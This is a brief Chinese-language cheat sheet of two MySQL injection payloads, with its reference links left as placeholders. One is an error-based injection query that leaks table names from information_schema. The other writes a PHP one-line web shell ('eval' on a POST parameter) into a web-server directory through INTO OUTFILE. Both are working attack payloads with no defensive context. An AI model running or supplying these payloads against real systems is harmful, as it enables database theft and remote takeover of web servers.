报错注入 select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),floor(rand()*2)) as test from information_schema.tables group by test; 参考链接:有待补充
写入文件 select 1,2,’<?php @eval($_POST["cmd"]);?>’ into outfile “C:\wamp\www\html\shell.php” 有待补充